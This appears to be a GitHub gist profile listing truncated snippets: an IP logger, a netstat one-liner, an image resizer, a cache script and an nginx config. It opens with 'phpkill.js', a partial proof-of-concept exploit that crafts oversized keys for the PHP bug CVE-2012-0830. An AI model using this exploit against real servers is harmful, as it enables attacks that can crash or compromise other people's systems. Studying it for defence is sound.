Skip to content

Instantly share code, notes, and snippets.

View elchappo's full-sized avatar
👻

Pawel Zareba elchappo

👻
View GitHub Profile
@elchappo
elchappo / phpkill.js
Created February 16, 2012 00:25 — forked from pilate/phpkill.js
// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
// Generate 1000 normal keys and one array
function createEvilObj () {
var evil_obj = {};
for (var i = 0; i < 1001; i++) {
evil_obj[i] = 1;
}
evil_obj['kill[]'] = 'kill';
@elchappo
elchappo / ip-test.sh
Created October 20, 2012 22:30
IP update detection
#!/bin/bash
NOW=$(date +"%m/%d/%Y")
LOG=${PWD}/"ip.log"
MAIL="/bin/mail"
# email subject
SUBJECT="Latest IP address"
@elchappo
elchappo / gist:3925057
Created October 20, 2012 22:33
Netstat active connections and Ip’s
netstat -antp | awk '$4 ~ /:80$/ {c++;print $5|"cut -f1 -d:|sort |uniq -c|sort -n |tail -n 10"} END {print c}'
@elchappo
elchappo / HTML 5
Created October 20, 2012 22:42
Custom Graphael
<html>
<figure id="hero-graph"><noscript>JavaScript is required to view this diagram. Your web browser either does not support JavaScript, or scripts are being blocked.To find out whether your browser supports JavaScript, or to allow scripts, see the browser's online help.</noscript> </figure>
</html>
@elchappo
elchappo / gist:3925100
Created October 20, 2012 22:47
PHP Resizer: Example 1
http://testing.nemezisproject.co.uk/resize/500/1000/0/originals/z12053861X.jpg
@elchappo
elchappo / gist:3925101
Created October 20, 2012 22:47
PHP Resizer: Example 2
http://testing.nemezisproject.co.uk/resize/250/100/1/originals/z12053861X.jpg
@elchappo
elchappo / gist:3925102
Created October 20, 2012 22:47
PHP Resizer: Example 3
http://testing.nemezisproject.co.uk/resize/500/500/1/originals/z12053861X.jpg
@elchappo
elchappo / resize.php
Created October 20, 2012 22:49
PHP resizer
<?php
$resizer = new Resizer();
$resizer->setRequestFileInfo($_GET['path']);
$resizer->setRequestHight($_GET['hight']);
$resizer->setRequestWidth($_GET['width']);
$resizer->setRequestMode($_GET['mode']);
$resizer->generateImage();
/**
@elchappo
elchappo / cacheSentinel.sh
Created October 20, 2012 22:50
PHP resizer sentinel
#!/bin/bash
CACHEDIR=
MAXSIZE=100
DIRSIZE=`du -s $CACHEDIR | cut -f 1`
MINFILES=5
echo $DIRSIZE' : '$CACHEDIR
#ls -t cache | sed -e '1,10d' | xargs -d '\n' rm
@elchappo
elchappo / gist:3925117
Created October 20, 2012 22:53
PHP nginx configration
server{
listen 80;
server_name <domine>;
access_log /var/log/<domine>.access_log;
error_log /var/log/<domine>.error_log;
root <domine_path>;
location ~ ^/resize/([0-9]+)/([0-9]+)/([0-9]+)/(.*)$ {